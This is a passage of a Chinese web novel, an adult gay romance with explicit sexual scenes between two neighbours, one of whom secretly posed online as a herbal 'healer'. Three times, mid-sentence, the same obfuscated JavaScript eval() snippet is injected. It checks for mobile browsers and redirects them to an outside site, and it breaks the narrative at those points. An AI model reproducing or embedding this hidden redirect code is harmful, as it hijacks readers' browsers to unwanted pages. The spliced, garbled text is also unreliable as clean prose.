——阕开霁的朋友五花八门,他说不上喜不喜欢,总之有点不习惯。不过想到要去喝酒,感觉也还行。如果阕开霁想去的话就去吧。 但阕开霁拒绝了,也没什么理由,就是说:“那你们去,我们先回去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765531|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “回去干嘛?这几个月都不见人,你忙什么呢。” “打了舌钉,不能喝酒。” 阕开霁站起来看闻根:“走了。” 闻根和阕开霁的朋友们打招呼,跟着阕开霁出去。 没想到阕开霁突然问他:“刚刚怎么那个表情?想去酒吧?” 闻根:“你不是不能喝酒吗?” “我问你想不想,你管我能不能干什么?” 闻根对酒吧所有印象和感知都来源于和阕开霁一起的那次,现在也不知道自己想不想 ,含糊说:“都可以。” 有些人的都可以或许是都行或是都不行。 但闻根的都可以就是都可以。 阕开霁说:“我家里还有点酒,想喝的话去我家喝吧。” 闻根张嘴想说话。 阕开霁:“别说都可以。” 于是闻根说:“好啊。” 回去的路上,阕开霁又买了点饮料和水果。到了小区拦住想要回家的闻根:“不是说到我家喝酒吗?” 闻根就跟着进了阕开霁家门。 阕开霁从柜子里拿出酒,又拿了两只玻璃杯和冰块。 他三两下调了杯酒递过来,在闻根要喝时,又好像突然想到什么,问:“不会影响你喝中药吧?” 闻根今天都还没喝中药,不过也无所谓了,反正那是补肾的,好像也没什么作用。现在面对阕开霁的询问,他摇头:“不会。” 阕开霁这才把杯子推过来。 闻根抿了一口,先是茉莉和青提的味道,随后才是酒味。应该是酒放得很少吧,他毫不设防的抿着,看阕开霁调下一杯。 两杯酒下肚,阕开霁往第三杯里放上柠檬片,告诉闻根:“少喝点。” 闻根看柠檬片在酒水里生出的小气泡,问阕开霁:“舌钉现在还没好吗?” “好了,我不想喝。” “为什么?” “我怕影响调理效果,毕竟我现在都不知道调理好了没有。” 阕开霁看着闻根,凑近了一点。他的长卷发落在桌子上,折成一圈,看上去像朵小花。闻根一眨不眨的看着那堆头发小花,觉得酒气渐渐涌上来。 阕开霁问:“真的不会影响?你要试试看吗?” 闻根张张嘴,挤出个“好” 阕开霁就亲上来。 和上次同样做实验看调理好没有实际上亲了很久不同,这次闻根甚至还没勾到阕开霁的舌头,阕开霁就放开他,告诉他:“上次试过了,我们都能接受接吻。这次要不试点别的,你看能不能接受。” 闻根目光闪烁:“什么?” 阕开霁含住他肉嘟嘟的耳垂。 闻根都忘了怎么呼吸了,微微偏头,一点没挣扎的迹象,反而把鼻尖蹭到阕开霁的头发里,嗅发丝上的蓝风铃香气。 阕开霁问:“能接受吗?” 闻根没说话,又好像从嗓子深处含糊挤出一声“嗯” 阕开霁变本加厉,手伸到闻根衣服底下,带茧子的指腹摸过去,好像有蚂蚁在爬,闻根绷紧了身子,觉得自己陷进了蝴蝶编织的网,如梦似幻。 阕开霁脱掉他的衣服,掐上细窄腰肢,拇指摩挲着腰窝,问闻根能不能接受,闻根还是“嗯” 吻一路往下,含住白皙胸膛上唯一的两点粉色,问闻根能不能接受,闻根还是“嗯” 裤子纽扣被解开,在阕开霁问自己之前,闻根想到阕开霁生日第二天,喝完酒后自己嗓子疼,网友说自己可能是给对方咬了。反正那时候好像都已经负距离接触过了,闻根主动说了“嗯” 说完后他听着拉链拉开的声音,恍惚垂眸看。 瞳孔剧烈颤动,他整个人都僵住了,甚至有点站不住,腿一软倒在地上。 阕开霁要来拉他。 他笨拙又惊恐的转身爬。 阕开霁再不知道闻根这么大的反应是因为谁就也成死鱼了,他站在原地,看闻根爬行时因为往下塌而显得格外纤细的腰肢,还有深深凹陷下去、现在还带着被自己按出来痕迹的腰窝。 “干什么?” 闻根呢喃:“矿泉水。” 阕开霁:“现在喝水?” 闻根:“还是一点五升的。” 阕开霁:“……” 他一下就明白闻根在说什么了,又好气又好笑。 把裤子重新拉好,去卫生间洗了手。 再回来时闻根还坐在地上,慢吞吞把衣服穿好了。阕开霁大步走过来,膝盖屈起压住闻根的腿,捏住他的脸。 腿被压着,小腹还能感觉到阕开霁不同寻常的热度,闻根瑟缩了一下。 但阕开霁扒开他的眼皮,很快把他的隐形眼镜取下来。 闻根眼前再次变得模糊,随后鼻梁一沉,阕开霁把框架眼镜给他带上。 刚刚眼前的一切还那么大,现在又都变小了,闻根有点不适应,甚至有点头晕。他眨了眨眼想把这种不适感驱散,手却被拉住,精准放到最热的地方。 阕开霁咬牙切齿:“你现在看这是几升的?” 41.第 41 章 一开始没看到只是在被窝里摸到时,闻根完全就是联想了个自己生活中最常见到的东西。 矿泉水。 后来想想也觉得矿泉水很恐怖。 因为网友都说自己咬了,他也不知道如果没有,又该怎么解释自己的嗓子疼,也就默认自己咬了。久而久之之下还给自己洗脑说可能不是那么大,不然自己也不能那么厉害。 直到刚刚…… 他真觉得和平时自己带着眼镜看到的一点五升的差不多大小。 现在没了隐形重新带上自己的眼镜,所有的一切都小了,又变回他熟悉的样子,只剩下刚刚一点五升矿泉水的震撼,在脑子里挥之不去,还在手下……散发着热意。 闻根甚至比刚刚被爱抚、亲吻时还要脸红,想要把手拿回来,但根本抽不动,手心是发烫的矿泉水,手背是阕开霁的手,他被夹在中间,只能结结巴巴回答:“我……我不知道。” 阕开霁冷笑一声,松开他的手。 闻根飞快把手背到身后,攥紧。 阕开霁看他这畏畏缩缩的样就来气:“你能不能对事物的大小建立准确的认知?” 闻根想要为自己解释——自己看到的就是那样的。但他也是个男人,知道箭在弦上被打断时脾气会有多差,没敢开口。也没敢动,就这么看着阕开霁。 阕开霁起身:“既然你不能接受和男人上床,那恭喜你调理好了。回去睡觉去吧,臭直男。” 手心还残留着刚刚的温度,甚至还有青筋跳动时打在自己手心的感觉。 听到阕开霁这么说,闻根突然有些委屈。 自己明明都不直。 自己明明能接受的,一开始也说了嗯,如果不是低头看到这么大一个吓到,也不会这样啊。 阕开霁最近对自己很差。虽然一开始也理直气壮要求自己做很多事,但对自己很好,现在却经常表现出不耐烦的样子,还说自己是臭直男。 难道他真的喝中药调理好了?所以不喜欢、甚至讨厌男人? 阕开霁已经往房间走了,闻根站起来,看着他的背影。口腔里还残留着酒味,催生出他的勇气。 闻根对着阕开霁的背影,谴责:“你怎么能这么说我,你现在面对我时性格很差劲。” 阕开霁转身,不可置信重复:“我性格差劲?” 觉得自己是女生时,说自己一点都不讨厌,非常漂亮值得所有人喜欢。现在知道是男生了,又是说就是喜欢脸,又是说自己性格差劲。 呵。 男人。 不对。 臭直男。 阕开霁走过来时气势很足,即使戴上眼镜,一米九的身高看上去也还是很有压迫感。不过可能是今天戴上隐形眼镜后看到一堵墙的视觉效果过于恐怖,现在闻根居然也没觉得害怕。 他看着阕开霁,据理力争:“你对我时就很差,之前你明明就不这样。” 还敢抢自己的台词?! 阕开霁反问:“你之前对我这样吗?” 闻根哽住。 阕开霁站在一米外,把认识之后闻根所作所为一一说出:“是谁把我当成女生接近我百般示好说喜欢,但追到手发现是男生后就说不是同性恋还让我一起喝苦了吧唧的中药的?” “是谁刷到我的vlog后拉黑了我,还说我是擦边男的?” “我好不容易找到个喜欢的人,都说好在一起了,生日过去又嫌我是男的又嫌我是同性恋的。现在说着试试,都说可以了,又说什么矿泉水什么一点五升,亲完就要跑。你还想让我怎么样对你啊?” 确实也是自己做的事。 闻根越听越心虚,听到最后一句话时也跟着阕开霁的逻辑谴责自己。怎么这么差劲,做了这么多坏事后还这么贪心要阕开霁好好对待自己。他垂着头手足无措,恨不得找个地缝钻进去。 阕开霁还在说:“我现在都这样了,你又不负责,我不回房间自己处理,in着jb和你谈天说地从诗词歌赋聊到人生哲学啊?” 闻根膝盖都软了,甚至想现在跪下来给阕开霁磕头认罪。 他结结巴巴:“对不起,我现在就回去。” 软脚虾一样慢吞吞朝门口走去,都摸上门把手了,想到什么,回头看阕开霁,吭吭哧哧问:“生日第二天,我早上醒来嗓子疼,是不是……” 阕开霁看着他脸颊泛粉、耳垂肿嘟嘟的,因为垂头弓起的后脖颈上还有自己留下的吻痕,身体越来越热,语气越来越硬。 “没有。你自己觉得吞得下吗?” 他三两步走过去,把闻根逼得不得不紧贴着门板。 手指插进闻根嘴里,很粗、暴的捅了几下,语气阴恻恻的解答这个困惑了闻根很久的问题。 “你喝多了又吐不出来,我用手给你扣出来的。” 舌头和上颚被指腹的茧子擦得酸痒泛疼,插得更深一点,身体就本能的反胃要吐,但又被手指堵得严严实实,闻根眼睛都湿了,眼尾泛粉看阕开霁,可怜兮兮的。 阕开霁抽出手,闻根把头偏到一边,开始干呕。 阕开霁:“这么浅,手指捅两下就要吐,你以为自己吞了什么?” 他问,“一点五升矿泉水吗?” = 闻根自己都不知道自己是怎么回到家的。 总之等他彻底回过神,已经是很晚了。他躺在床上盯着天花板,宛如一条死鱼。 脑子里还在反复回忆在阕开霁家里发生的事情,被抚摸的触感和被谴责的内疚交替混杂,让他本来就呆滞的大脑彻底乱成毛线团,再也解不开。 也不知道阕开霁现在干嘛。 那个……解决完了没有。 自己对阕开霁好像真的很差。 确实是自己先追求阕开霁,又在阕开霁喜欢上自己后说自己不是同性恋。 而且明明自己一开始也被他vlog里的内容吸引,却因为不能接受自己的性取向拉黑他,还说他是擦边男。 都做了这么多事,也怪不得阕开霁对自己态度不好还说自己是臭直男。 …… 团成一团的毛线球好像突然露了个尾稍,闻根脑子过电般一闪,捕捉到些许不对劲。 ——阕开霁怎么知道自己拉黑了他? 自己没和阕开霁说过自己看过他的vlog还拉黑了他,还是阕开霁那天为了让自己直观感受到体脂率对身材的变化,找出他主页后台给自己看,自己才开始说他擦边的。而自己根本没和阕开霁说过自己拉黑他,更没有让阕开霁知道自己也有账号。 拉黑阕开霁这件事,自己只和一个人说过。 ——AAA中药世家继承人。 自己甚至没有告诉神医被拉黑人的id,只是告诉对方,自己只拉黑了一个人,因为那个人让自己觉得自己是同性恋。 阕开霁怎么知道自己拉黑了他? 一个匪夷所思的念头浮现。 但除了所有不可能,这好像也就是唯一正确答案。 阕开霁就是给自己寄中药、鼓励自己调理治疗的神医,AAA中药世家继承人。 第一反应也不是羞恼或震怒,闻根第一时间想到的居然是——他居然还懂中药。不愧是他,真厉害。 他自顾自敬佩了一会儿,这才后知后觉怀疑其中的不对劲来了。 那阕开霁……不应该在见到自己的第一眼就认出自己来了吗?应该也知道自己口中喜欢的女生就是他。 想起来,中药世家继承人确实告诉自己对方可能是女性,确实也是自己用各种各样的原因说服自己坚信对方就是男人。而且中药世家继承人那时候确实也给自己寄了中药,特地点明其中一味药材是决明子,明目。 啊他果然懂一些中医。 不愧是他,真厉害。 …… 脑子里涌动着的敬佩渐渐平歇,湖面重新归于平静,小鱼沉入最底下,周围一片黑暗。 闻根是呆,但不傻。 之前所有人都说可以喝点中药调理一下,而他急于重新变成性取向正常的普通人,就把唯一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773288|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出可行建议而且被很多人赞同的“喝点中药调理一下”视为救命稻草。哪怕中药世家继承人也说过中药调理不好,他也还是固执相信自己能被中药调理好。 但现在他不急着调理了,他接受自己就是同性恋就是喜欢阕开霁这件事了,中药不再是救命稻草,他顺着这根稻草看过去,想知道另一端的阕开霁到底怎么看自己。 想不到。 不管是小鱼还是工蚁,都想不到蝴蝶的想法。 闻根拿出手机。 一墙之隔,阕开霁披着浴袍,把今日份拍摄到的实况照片剪成vlog发布出去。上传成功后他自己也看了一眼。 明明是记录自己生活的vlog,现在却越来越多了另一个人的踪迹。格外家常的饭菜、背对着镜头正弯弓射箭的背影、装满酒水的玻璃杯上倒映出来的虚影…… 现在想到这人晚上的所作所为还是生气,但想多了居然还觉得好笑。 他把床头剩下的酒一饮而尽,切换账号想看看落荒而逃的人有没有找神医求助。 没有。 可能闻根也不好意思告诉不断叮嘱他要好好治疗的神医,他不仅没有好好治疗,还和男人一起出去玩一起喝酒一起接吻,前戏都做一半,如果不是被尺寸吓到可能就全垒打了。 又装死。 阕开霁随便刷了刷推荐页,发现消息页面不断弹出新提示。 他这个号平时不发任何动态,关注他并给他发信息的,一般都是从闻根那边找来的。闻根这是又做了什么,让这么多人找自己? 点进唯一关注的用户,“不是深柜我真的崆峒”并没有最新更新,主页最新一条图文还是生日第二天询问醉酒后嗓子疼是什么原因。 阕开霁叉掉主页,点开信息页面。 有网友发信息给他:“神医,你到底做了什么让深柜怀疑你的医术啊!” 阕开霁:“?” 对方马上发过来一张截图。 图片里,“不是深柜我真的崆峒”询问:“请问大家,中药真的有调理同性恋的效果吗?” ? 阕开霁再次点进闻根主页,发现自己还是看不到这条图文。 他询问热心网友:“他现在删掉这条了吗?” “没有啊,深柜现在还在评论区回复评论呢。” 对方又发过来又一张截图。 评论区有人询问:“又怎么了深柜,神医的药不管用吗?” “不是深柜我真的崆峒”回复:“是不是同性恋就治不好啊?” 网友回复闻根:“深柜,可能是你病得格外严重一点吧,这样,让神医给你针灸治疗一下。不过用的针可能会有点粗,保温杯那个大小的。” ——这句用保温杯大小的针针灸一下的话,闻根之前就在评论区看到过,但彼时只想着怎么会有那么大的针,以为只是网友开玩笑。 但在看到矿泉水后,无师自通的懂了保温杯是指什么,针灸又是指什么。 ! 根本做不到。 视觉效果太恐怖了。 闻根无法想象,索性没再回复这个网友,而在评论区寻找看上去更靠谱真诚一点的评论询问。 这时候,他收到中药世家继承人的信息。 “别问了,中药没有调理同性恋的效果,但你治好了。” 闻根脑子一空,心虚至极——自己不是屏蔽阕开霁的两个号了吗,他怎么还是看到了? 他没回复,对方直接发了语音过来,语气阴恻恻的:“怎么?又不能接受和男人上、床,都治好了干嘛还问中药有用没用?” 闻根脑子更空了。 他完全是依靠本能反驳阕开霁:“都说了我不是不能接受啊,我就是被吓到了,现在想问问中药到底有没有效。” 阕开霁:“你自己信这种话吗?你不是不能接受只是被吓到了,那你还问中药有没有效干嘛?” “你不会觉得喝点中药就能让一点五升矿泉水变成茶壶嘴吧?” 闻根:“……” 42.第 42 章 一墙之隔,但闻根和阕开霁实在是完全不一样的两个人。如果没有刻意约定,他们两个很难不经意遇到。 而在上次不经意发现中药世家继承人也是阕开霁,因为屏蔽阕开霁发图文但还是被阕开霁发现并质问后,两人失去交流。 聊天框还停留在那天最后一句。 是阕开霁发的一个微笑表情。 就是翻着白眼勾起微笑,现在被广泛解读为“呵呵SB”的微笑表情。 闻根不知道怎么回复,当天不知道,第二天也不知道,放了两天后发现自己既不知道该如何回复,又不知道该怎么解释自己两天没回信息这件事。 于是就一直没回。 他的生活又回到一开始没遇到阕开霁的时候。朝九晚五规律上班,吃差不多的饭做差不多的事。 只是他已经见过蝴蝶了,没被工作填满的空闲时间,他忍不住打开Qamar的主页看阕开霁每天都做了什么,再打开自己和阕开霁的聊天页面看聊天记录,虽然结果每每都是看着最后那个微笑表情包心里泛哽,但下次还是会打开。 没了阕开霁,闻根还能接着做闻根。哪怕他会因为见过蝴蝶而觉得自己的生活平淡到寡味,但他已经习惯这么寡淡的生活了,反而是有阕开霁的日子像潘多拉魔盒,他虽然喜欢,但喜欢也是阕开霁教给他的,如果得不到…… 也就得不到,他也习惯得不到。 没了闻根,阕开霁就完全不能重新做自己了。 他本就觉得生活错位,在遇到隔壁那个呆子后才窥探到一点生活该有的模样,知道不用酒精和极限运动刺激也能得到的快乐多么有趣。 现在没了闻根,他的生活越发割裂。舌头上为了引诱闻根打出的钉子很有存在感,每时每刻提醒他还有闻根这么个人。 但想到闻根的所作所为,他又被气得半死。 时间的流速变得很慢,但又只是一晃的功夫,九月就到了。 中秋节前一周,闻根周五下班后直接回了老家。闻母还在加班,闻父在家里剥咸鸭蛋,准备烤熟了等闻母回来一起烤月饼。 闻根推门进去,闻到家里咸鸭蛋淡淡腥味,让他想到衣柜里同样带着淡淡腥味的、阕开霁留给自己香水。不过他的香水没有这么腥,是很辽阔的海洋味道。 他一时失神。 闻父听到开门声,招呼他:“回来了?桌上有我下午排队买的鲜肉月饼,还热着,你先拿去吃。” 闻根吃了块月饼,等闻母下班回来,三人一起烤了莲蓉蛋黄月饼,然后提着月饼和水果,去婶婶家里做客 。 ——今天是闻根堂哥闻枝的忌日。 即使已经过去八年,但叔叔婶婶还是会在这天显得格外孤寂。 闻根跟着父母坐了会儿,陪着聊了会儿天。该走时他提前下楼开车,看到楼下一个穿黑色T恤的男人在楼下抽烟。 闻根记得他,是堂哥当时的男朋友,那年他们挑战极限运动去玩滑翔伞,堂哥因为操作不当去世,而男朋友还活着。闻根第一次见他是堂哥忌日,他抱着束白色三文鱼雏菊花,之后偶尔会在堂哥墓前见到这种出雏菊花,闻根知道那是对方放的。 似乎是注意到闻根的视线,对方看过来,发现是闻根,对他点了下头。 闻根也点了下头,把车倒出来。 当天晚上就住在家里,第二天吃完午饭他要回去,离开前他爸妈给他装给他拿去吃的月饼和坚果 ,像是随口问起:“你上次说喜欢的那个男生……怎么样了?” 闻根抿抿嘴:“我惹他生气了。” 闻父听闻母说过闻根喜欢的、混血长发骑摩托车的男人,和妻子一样的想法,现在听闻根这样说,只是说:“你们本来性格什么的都不一样,在一起很容易起矛盾。” 现实确实如此,之前也经常听到这样的话,应该是习惯了,习惯得让闻根自己也默认,自己就应该是这样的,自己和阕开霁也应该是这样的。 但习惯就代表本该如此吗? 闻根没应和,他站在原地想了一会儿,告诉父母:“我不喜欢你们这样说。” = 拎着爸妈给装的大包小包东西回到车上,闻根又拿出手机看了看,自己和阕开霁的聊天页面还停留在那个微笑表情上。 他又开始头疼了。 到底应该怎么回啊。 他之前不知道怎么办的时候会去询问神医,但现在神医也是阕开霁。之前认识的那些朋友都不知道自己是同性恋,如果求助他们还需要说明前因后果才能得到精准回答,闻根完全不知道怎么办,盯着这个表情包看了许久,最后还是把手机放到一边,驱车离开。 经过自己从小到大经常吃的月饼店时,又莫名停下,站在长长队伍末尾。 虽然车里就有他最爱吃的鲜肉月饼,但……阕开霁喜欢吃甜的,可能会更喜欢玫瑰豆沙馅月饼吧。 排了很久的队买了不同口味的月饼,回去的路上,闻根开始在脑海里设想等会儿要怎么和阕开霁开口破冰。 要好好道歉,把月饼给他……之前朋友恋爱惹女生生气都还会特地买礼物赔礼,虽然阕开霁不是女生,但也喜欢漂亮的小东西,自己要不也买点。不过自己也不知道阕开霁缺什么…… 这么想着想着,就到了小区门口。闻根的心跳越来越快,给自己加油鼓劲。 余光却注意到一辆熟悉的车,和他的车反方向擦身而过。 他从后视镜里仔细看。 是阕开霁的车牌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782099|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阕开霁出去了。 紧张期待和担忧都没了,只剩下缺失的一角,空落落的。 闻根拎着东西回家,把月饼放在桌上,然后又对着他和阕开霁的聊天记录发呆。 时间一点点过去,外面天色逐渐暗淡,终于彻底黑了。 闻根也不知道阕开霁现在在哪儿,不过想到vlog里阕开霁丰富多彩的生活,不到后半夜应该也不会回来。 他去洗漱,然后把今天注定送不出去的月饼放到冰箱里,犹豫再三拍了张照片,斟酌着点开和阕开霁的聊天页面。 “我买了月饼,玫瑰豆沙馅的很好吃,你喜欢吗?” 要发出去吗? 闻根没敢发,点开拍摄的照片仔细看,发现照片对不上焦有些虚影,而且冰箱里东西太多显得画面杂乱不好看。 他赶紧把月饼拎出来放到空荡荡的桌子上,俯身仔细调整焦距和光线,郑而重之拍了张照片,又放大仔细看。 还没想好这张到底能不能发,门口突然传来敲门声。 第一下很重,随后轻很多,敲三下之后停下。 是自己的门?还是阕开霁家的? 闻根收起手机朝门口走去,犹豫着推开门。 刚推开门缝就有一只手握住把手,有人挤进来,闻根一颗心还没来得及提起来,就嗅到和人一起挤进来的甜桃香。 是阕开霁。 他放心后退,看臭着脸挤进来的人。 过于放心,脑子这时候又空了。他看着阕开霁,嘴唇动了动,然后在阕开霁灰蓝色眼睛的注视下,干巴巴询问:“你要吃玫瑰豆沙馅的月饼吗?” 阕开霁:“……” 他没说要不要,问:“你还喜欢我吗?” 闻根的脸一下就和玫瑰豆沙馅差不多红了。 他结结巴巴:“我……” 可能怕听到不想要的答案,也可能只是单纯不想听。阕开霁捂住他的嘴:“你不能不喜欢我。” “你要接着喜欢我。” 嘴唇还能碰到阕开霁手心的茧子,闻根又呆成死鱼,看着阕开霁的脸,愣愣点头。 阕开霁终于收了手,也没动,依旧这么看着闻根,眼里带着几分催促。 闻根不确定自己是不是看错了,内心几分疑惑,直到看到阕开霁看着他拧了下眉。 好像就是在催促自己…… 但闻根现在脑子乱乱的,一张嘴,问:“你要吃玫瑰豆沙馅月饼吗?” 阕开霁:“……” 在阕开霁失望的目光下,他越发紧张,补充:“很好吃的,甜甜的……” “闭嘴。” 闻根闭嘴。 甜桃香味扑面而来,阕开霁吻住他的唇。 43.第 43 章 阕开霁对处理人际关系这方面毫无经验。早早失去父母亲情淡薄,辍学在外遇到形形色色的人,能玩就一起玩,有矛盾就不再联系,没人珍贵到需要他思考怎么留住对方。 现在要求闻根接着喜欢自己,得到闻根肯定的答案后,他以为这件事过去了。他们重归于好,这就是最终结局,不需要再做些什么了。 但闻根愣是把他拉到沙发上坐下,给他递了块玫瑰豆沙的月饼。 手里的月饼柔软,散发着甜味。而面前闻根一双死鱼眼依旧呆滞,又好像带着期待紧张等情绪。 阕开霁最终还是接过月饼咬了一口。 虽然就是很小一口,但闻根把这一口当做信号,在他身边扭扭捏捏坐下,郑重:“对不起。” 阕开霁:“对不起什么。” “我不该拉黑你,屏蔽你,也不该说你脾气差擦边男……” “停。” 阕开霁听到这话就想到闻根做的那些事,制止他,“你现在在故意惹我生气吗?” 闻根:“不是啊,我在道歉。” 阕开霁:“不用了,越说我越来气。” 闻根窝窝囊囊:“哦。” 阕开霁放下月饼,看着身边窝囊呆滞的人,短暂思索自己语气是不是太生硬了,他都说自己性格很差,现在刚和好,是不是不应该这么生硬说话。 这时候闻根又开口了:“那你。” 他鼓起勇气——虽然这时候他居然是诡异的从阕开霁身上得到的理直气壮和勇气,但他就是对阕开霁说,“该你给我道歉了。” 阕开霁皱眉:“什么?” 闻根:“你,你骗我说可以喝中药调理,知道Qamar和邻居就是同一个人也不告诉我,还用中药世家继承人的号骗我,而且和我说话态度很差劲,我都说了只是被吓到,你还生气。” 阕开霁:“……” 闻根说着说着没声了,看阕开霁的样子,又想道歉了。 不过在他开口前,阕开霁先说:“对不起。” 闻根:“……” “我原谅你了。” 从来没有过的诡异对话让阕开霁有点不适应,他又咬了口月饼。 闻根扭扭捏捏提醒:“那你原谅我了吗?” 阕开霁:“嗯。” 闻根依旧瞪着那双死鱼眼看他 。 阕开霁只好说:“我原谅你了。” 死鱼眼弯起来,里面写满放松和满足。那么好看的一双桃花眼,木木呆呆的一点都不生动,现在满足起来也像考了满分得到肯定的小孩一样。 阕开霁多看了两眼,把月饼递过去。 闻根不怎么爱吃甜月饼,但看着月饼上阕开霁咬过的痕迹,还是咬了一口。 饼皮柔软,一口咬下去并没有特别甜,反而是浓浓的玫瑰香味,只要用舌尖一抿,豆馅在舌尖和上颚化开,甜味就涌出来了。 闻根侧目看阕开霁。 阕开霁直接把剩下的月饼全部递过来:“你吃吧。” 闻根不喜欢吃,刚刚吃一口已经很够了,他鼓起勇气拒绝:“我不喜欢。” 不喜欢就不喜欢。 阕开霁把月饼放到桌上,从闻根这个角度看过去,侧脸表情若有所思。 会不会觉得月饼有点甜了?他平时控碳那么严格,虽然喜欢吃甜但也没吃过太多,会不会觉得月饼甜度过高? 闻根紧张兮兮:“是不是太甜了?” 阕开霁:“还好。” 他起身倒了杯水,喝了几口,表情看上去依旧凝重。 闻根越发紧张:“你不喜欢豆馅吗?” 阕开霁看着闻根,好像想说什么,但什么都没说。 简称:欲言又止。 ? 阕开霁之前从来不会这样,阕开霁之前想说什么都会直接说出来,也就是这种坦然,让闻根学到无尽的勇气。但阕开霁现在怎么都会欲言又止了?是不是自己说他性格差劲,才让他这样的? 闻根又开始内疚了,他问阕开霁:“你想说什么啊。你不喜欢月饼吗?” 阕开霁:“……” 他臭着脸,“豆馅太厚,咽不下去。” 闻根:“怎么会咽不下去呢?” 虽然这边大家都更爱吃鲜肉月饼,不过多多少少也吃过广式月饼,甜甜的豆馅厚重,小口抿着化开就能咽下去了。 不会是阕开霁没吃过月饼吧…… 闻根比划:“你用舌头。” 阕开霁面无表情提醒:“然后让豆馅都糊舌钉上吗?” 闻根:“……” 打了舌钉后阕开霁不喝酒不吃过硬的大块食物,就连面条都不吃了,结果现在栽在自己递上去的月饼上。 闻根出奇内疚了:“那现在怎么办?” 他没打过舌钉,对舌钉所有印象都是阕开霁舌头上那颗,还有那次亲完后格外殷红、看上去好像要流血的钉孔。现在依旧担心阕开霁会因为舌钉疼,提议:“要不把舌钉摘了?” 阕开霁看他,目光准确钉在他嘴唇上:“你给我摘?” 想到要怎么摘,闻根嘴唇和舌头都仿佛变成木头,僵硬干涩:“好……好啊。” 答应这么干脆…… 阕开霁调笑:“不害怕了?” 闻根真诚:“那个,还是有点……很怕。所以我们今天可以只摘舌钉吗?” 阕开霁:“……” 这种要被气死又真诚得可爱的感觉,也就只有闻根了。 他又抿了两口水,艰难把豆馅咽下去,“算了。” 他说的是不用摘舌钉了。 但闻根以为他说如果只摘舌钉的话就不用了。 闻根默了两秒,退让:“那,只要不那个,都可以。” 他羞耻得脸都红了,都不敢看阕开霁,垂着头看地,眼镜都滑到鼻梁中间了,大半眼睛露出来,没有镜片的帮助,他什么都看不清,目光虚虚没有焦点,看上去呆呆的。 阕开霁伸手把他的眼镜扶上去戴好。 眼前的地砖都清晰了,同时也小了一圈。 阕开霁没头没尾的问:“你还记得上次给你看的项圈吗?” ——那个带在脖子上,有锁链伸出来坠着钉子,可以带在耳朵上,也可以带在舌头上,一旦拉紧链子,舌头就只能伸出来,不管放什么进去,都无法挣扎。 闻根当然记得,现在听到阕开霁再提起这个,意识到什么,目光剧烈颤抖,怔怔点头。 阕开霁:“做好了,现在在我家。” 他压低了声音,蝴蝶越飞越低,颤抖翅膀洒下带毒素的金粉,蛊惑人心,“你要看看吗?” = 上次在阕开霁房间醒来已经是白天,突然知道阕开霁不仅是男人,还就是让自己怀疑自己是同性恋的Qamar,而且自己醉酒后不知道和阕开霁都做了什么。这件事带给闻根的冲击太大,让他都抽不出心神去关注其他东西。 现在清醒时候跟着阕开霁来到他的房间,他根本不敢看阕开霁,目光游移,在房间里扫了一圈。 和自己的房间不同,阕开霁打通了主卧和小阳台,用玻璃封起来。现在窗帘拉开一半,他能看到小区外面大楼闪着的光,床头铺着地毯,而床下一圈灯带。家具不多,看上去简单高级。 阕开霁装着项圈的盒子丢给他,自己大喇喇往床头一坐,目光放在闻根身上。明明是等着闻根对他做什么,但看上去气势十足。反倒是闻根看着阕开霁散在肩膀上的卷发、修长脖颈上突出的喉结、目光呆滞。 在他的注视下,阕开霁的喉结滚了两下。 闻根的目光乃至心脏都跟着颤抖,小鱼到了陌生水域,正试图探索陌生领域时又被水草缠了下尾巴,一点慌张,但内心的好奇催促他加快速度。 目光上移,看到阕开霁隐藏在发丝里的耳朵。 耳垂上小小的孔,阕开霁会根据当天穿搭挑合适的耳饰,不过大部分时候都带着枚黑色圆形耳钉。隐在发丝里,见到光就折射出一点亮闪。 扫过去,又移到阕开霁嘴唇上。 见到阕开霁的第一眼,除了长发香气、深邃轮廓和雪白皮肤,就是灰蓝色眼睛和殷红嘴唇。 可能是皮肤太白,嘴唇的颜色就显得格外红彤,和闻根见过的所有男生都不一样……也和闻根见过的所有人都不一样。 现在看也是很红,闻根知道会有多柔软。他忍不住张开嘴唇,舌头抵住上颚蹭了下。 阕开霁注意到他的反应,笑了下,随后在他的注视下,张嘴伸出舌头。 还是那颗钉子,湿漉漉的折着光。 闻根下意识低头要去舔。 但和阕开霁的距离太远,低头也没亲到。他俯身要去追,阕开霁已经把舌头收回去了。 追不到蝴蝶,小鱼停在原地,隔着一层水波,眼里带着点沮丧。 阕开霁就着他的手打开盒子,下巴一抬颐指气使:“戴上。” “勾出来。” 他蛊惑:“就能亲到了。” 